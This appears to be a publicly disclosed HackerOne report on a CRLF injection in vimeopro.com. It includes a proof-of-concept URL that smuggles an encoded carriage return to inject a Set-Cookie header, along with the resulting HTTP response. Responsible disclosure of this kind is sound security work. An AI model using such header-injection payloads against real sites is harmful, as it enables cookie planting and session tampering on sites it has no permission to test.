Vimeo · Report #39181

[vimeopro.com] CRLF Injection

Validstatus

10upvotes

24 Oct 2016disclosed

How it was found

PoC (for any browser other than FireFox) http://www.vimeopro.com/crlftest%0dSet-Cookie:test=test;domain=.vimeopro.com

HTTP Response: HTTP/1.1 301 Moved Permanently\r\n Date: Fri, 12 Dec 2014 19:28:49 GMT\r\n Server: Apache\r\n Location: http://vimeopro.com/crlftest\r Set-Cookie:test=test;domain=.vimeopro.com\r\n

Result: Creating a cookie-param "test=test"

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original